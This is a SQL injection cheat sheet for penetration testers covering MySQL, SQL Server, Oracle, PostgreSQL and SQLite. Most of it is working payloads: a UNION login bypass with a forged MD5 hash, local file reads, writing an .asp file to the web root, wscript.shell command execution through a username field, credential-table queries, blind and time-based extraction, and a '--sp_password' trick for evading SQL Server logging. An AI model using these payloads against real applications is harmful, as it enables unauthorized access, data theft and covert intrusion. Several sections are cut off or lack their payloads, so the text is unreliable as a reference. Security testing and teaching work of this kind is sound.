This SQL injection cheat sheet is a cybersecurity resource with detailed technical information and attack payloads to test for different types of
SQL injection (SQLi)
vulnerabilities caused by insufficient user input validation and sanitization. This cheat sheet can be used as a reference for penetration testers but also as a general guide for anyone interested in web application security and all the unexpected things you can do with SQL commands.
This cheat sheet has been the web’s leading reference for SQL injection payloads ever since it was first published in 2015 on Netsparker. It is a living document in constant development and currently contains payloads and tips for MySQL, Microsoft SQL Server, Oracle, PostgreSQL, and SQLite. As with any cheat sheet, some examples might not work in every situation because injection in real live environments will vary depending on the server configuration, structured query language dialect, usage of parentheses, application framework, and unexpected, strange, and complex SQL statements.
Successful SQL injection often requires a payload tailored to a specific SQL database system. Payload usability is indicated as follows:
You can use inline comments to comment out the rest of a query as with line comments (by simply not closing the comment). They are also useful for manipulating characters to bypass filtering/blacklisting, remove spaces, and obfuscate queries. In MySQL, you can use its special comment syntax to detect the database and version.
This special comment syntax is perfect for detecting that MySQL is being used because any instructions you put in this comment will only execute in MySQL. You can even use this to detect the version. The following example will execute and generate an error only is the server uses MySQL in the specified version or later:
While exploiting
UNION
injections, you can sometimes get errors because of different language settings (different locales in table settings, field settings, or combined table and database settings). It’s not a common problem, but you can run into it when dealing with applications that store data in different encodings. Here are a few tricks to deal with it:
Very few applications still store passwords in plain text. If you want to bypass authentication by supplying your own password with a
UNION
query, you will need to hash the password before replacing it. Many hashing algorithms exist, but for simplicity, the examples below use the mostly obsolete MD5 algorithm.
An application may verify login credentials by first getting the user record based on the username and then checking if the hash of the input password value is correct. You can
UNION
results with a known password and the MD5 hash of this password. The application will then compare your password and your supplied MD5 hash instead of the hash value from the database.
Username:
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password:
1234
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error-based ways to discover column information
Finding column names using HAVING and GROUP BY (error-based) (S)
Try the following payloads in the specified order:
In blind injection situations, make sure you always check if the error is coming from the database or from the application itself. Some languages (like ASP.NET) tend to generally throw errors when dealing with
NULL
values (mostly because developers are not expecting to process
NULL
in a field like username.)
@@version
(MS)
Gives you the database version and other information for SQL Server. This is a constant, so you can just select it like any other column (you don’t need to supply the table name). You can also use
@@version
in
INSERT
and
UPDATE
statements as well as in functions:
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
version()
(P)
UNION SELECT NULL, version(), NULL
sqlite_version()
(L)
UNION SELECT NULL,sqlite_version(),NULL;
PRODUCT_COMPONENT_VERSION
table (O)
SELECT version FROM PRODUCT_COMPONENT_VERSION WHERE product LIKE 'Oracle Database%';
Inserting the content of a file into a table lets you browse local files when you only have database access. If you are dealing with a particularly old version of IIS (up to and including IIS6), if you don’t know the internal path of a web application, you can read the IIS metabase file at
%systemroot%\system32\inetsrv\MetaBase.xml
, load it into a table, and then search in it to identify the application path.
To browse the content of a file, you can use:
CREATE TABLE foo( line varchar(8000) )
BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'
You can then drop the temp table and repeat for another file.
SQL Server utilities
The bcp (Bulk Copy Program) utility (S)
Using bcp, you can load files into a table or write table data to a file. Login credentials are required to use this utility.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
Using VBS and WSH scripting (S)
ActiveX support in SQL Server lets you use Visual Basic Script (VBS) and Windows Script Host (WSH) scripting. Take this sample shell script:
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
To inject this into a username field, use a payload like:
'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
SQL Server stored procedures
Executing system commands using xp_cmdshell (S)
This is a well-known trick for command injection, but it has two crucial requirements:
Logins and passwords (note that SQL Server 2000 and 2005 both use a similar and crackable algorithm for hashing passwords)
SQL Server 2000:
masters..sysxlogins
SQL Server 2005:
sys.sql_logins
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (
SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3)
as int as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id)
AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
Here’s a sample payload that combines variables and system table queries to extract data into a temporary table (use
syscolumns
and
sysobjects
for older version and
sys.columns
and
sys.objects
for newer versions):
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE
id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM sys.columns WHERE
id =(SELECT id FROM sys.objects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Finding the database structure in MySQL (M)
Getting user-defined tables (M)
SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
Getting column names (M)
SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
Finding the database structure in Oracle (O)
Getting user-defined tables (O)
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Getting column names (O)
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
In any decent production application, you generally cannot see any error responses on the page. This rules out extracting data directly through error-based attacks. In these cases, you have to use blind SQL injections to extract the data. There are two basic kinds of blind SQL injections:
This output is taken from a real private blind SQL injection tool while exploiting SQL Server back-ended application and enumerating table names. These requests are done for first character of the first table name. The SQL queries are a bit more complex then necessary to allow for automation. Through this series of injections, we are trying to determine the ASCII value of a character using a binary search algorithm. In effect, we’re asking a series of yes/no questions about value ranges.
The following series of queries was executed to track down the first character (where
TRUE
and
FALSE
flags indicate the logical result of each query):
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
Since the last two queries both failed, we now know that 80 is the ASCII value of the first character of the table name, so the table name starts with the letter P. In this way, you can exploit blind SQL injections using a binary search algorithm. Another well-known way is to read data one bit at a time. Both methods can be effective in different conditions. If you can get direct feedback, it’s enough to go through a fixed list of possible characters. If your only indication of success are differing response times or if the application is slow, you can use an algorithm like the one above.
You should only use time-based payloads for totally blind injections. For normal blind injections, it’s better to just use boolean-based methods (like error-based true/false tests) to identify the difference in responses.
Be careful if using times longer than 20–30 seconds because the database API connection or script can time out.
WAITFOR DELAY (S)
This is just like a sleep command—a CPU-safe way to make the database wait for a specified time.
WAITFOR DELAY '0:0:10'--
You can also use fractional time values, though in general, longer waiting times are less sensitive to variations in server load or available bandwidth:
WAITFOR DELAY '0:0:0.51'
Sample payloads with WAITFOR DELAY
Different ways of injecting a delay into something like
WHERE ProductID = '1'
. Instead of just the expected integer, we can try injecting:
1;waitfor delay '0:0:10'--
1);waitfor delay '0:0:10'--
1';waitfor delay '0:0:10'--
1');waitfor delay '0:0:10'--
1));waitfor delay '0:0:10'--
1'));waitfor delay '0:0:10'--
The BENCHMARK() function is intended for timing performance when executing some expression a specified number of times. We can abuse it for time-based attacks to make MySQL wait a bit. Because this function consumes CPU cycles, be careful you don’t use up the entire web server resource limit. It’s best to start with lower values and increase them gradually just until you get stable results.
BENCHMARK(how-many-repeats, expression-to-execute)
Sample payloads with BENCHMARK()
(SELECT CASE WHEN (NVL(ASCII(SUBSTR((
your-injected-query-here
),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
If the condition is true, the response will arrive after 10 seconds. If it is false, the delay will be only one second.
For security reasons, SQL Server doesn’t log queries that include the function
sp_password
(used for changing passwords). This can be abused to prevent certain queries from being logged by the database server—simply appending
--sp_password
to an SQL query is enough to bypass logging. Note that the request will still appear in web server logs if injecting into a
GET
parameter (but not
POST
).
By using this website you agree with our use of cookies to improve its performance and enhance your experience. More information in our